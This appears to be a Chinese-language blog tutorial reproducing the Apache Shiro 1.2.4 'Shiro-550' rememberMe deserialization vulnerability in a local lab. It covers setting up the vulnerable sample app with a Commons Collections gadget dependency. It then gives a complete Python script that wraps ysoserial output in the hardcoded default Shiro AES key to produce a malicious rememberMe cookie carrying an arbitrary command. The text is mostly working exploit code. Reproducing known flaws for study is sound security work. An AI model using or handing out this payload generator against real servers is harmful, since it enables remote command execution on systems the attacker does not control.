Shiro rememberMe 反序列化分析

Shiro 550

复现

1git clone https://github.com/apache/shiro.git
2git checkout shiro-root-1.2.4

然后导入maven项目之后，在samples/web/pom.xml配置jstl版本和反序列化用到的gadget链依赖。

 1<properties>
 2    <maven.compiler.source>1.6</maven.compiler.source>
 3    <maven.compiler.target>1.6</maven.compiler.target>
 4</properties>
 5<dependency>
 6    <groupId>javax.servlet</groupId>
 7    <artifactId>jstl</artifactId>
 8    <!-- 配置版本 -->
 9    <version>1.2</version>
10    <scope>runtime</scope>
11</dependency>
12<!-- 依赖cc链 -->
13<dependency>
14    <groupId>org.apache.commons</groupId>
15    <artifactId>commons-collections4</artifactId>
16    <version>4.0</version>
17</dependency>

如果你爆了toolchains相关的错误，就在C:\Users\username\.m2\toolchains.xml配置toolchains

 1<?xml version="1.0" encoding="UTF8"?>
 2<toolchains>
 3    <toolchain>
 4        <type>jdk</type>
 5        <provides>
 6            <version>1.6</version>
 7            <vendor>sun</vendor>
 8        </provides>
 9        <configuration>
10            <jdkHome>C:\Program Files\Java\jdk1.8.0_181</jdkHome>
11        </configuration>
12    </toolchain>
13</toolchains>

maven package之后将war包放到tomcat7下部署，运行之后就是这样

使用shiro_tool.jar复现:

也可以使用python脚本

 1import sys
 2import base64
 3import uuid
 4from random import Random
 5import subprocess
 6from Crypto.Cipher import AES
 7
 8def encode_rememberme(payload,command):
 9    popen = subprocess.Popen(['java', '-jar', '../ysoserial/ysoserial-0.0.6-SNAPSHOT-all.jar', payload, command], stdout=subprocess.PIPE)
10    BS   = AES.block_size
11    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
12    key = "kPH+bIxk5D2deZiIxcaaaA=="
13    mode =  AES.MODE_CBC
14    #iv   =  base64.b64decode(rememberMe)[:16]   
15    iv = uuid.uuid4().bytes
16    print(iv)
17    encryptor = AES.new(base64.b64decode(key), mode, iv)
18    file_body = pad(popen.stdout.read())
19    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
20    return base64_ciphertext
21
22if __name__ == '__main__':
23    print(sys.argv[1],sys.argv[2])
24    payload = encode_rememberme(sys.argv[1],sys.argv[2])
25    with open("payload.cookie", "w") as fpw:
26        print("rememberMe={}".format(payload.decode()), file=fpw)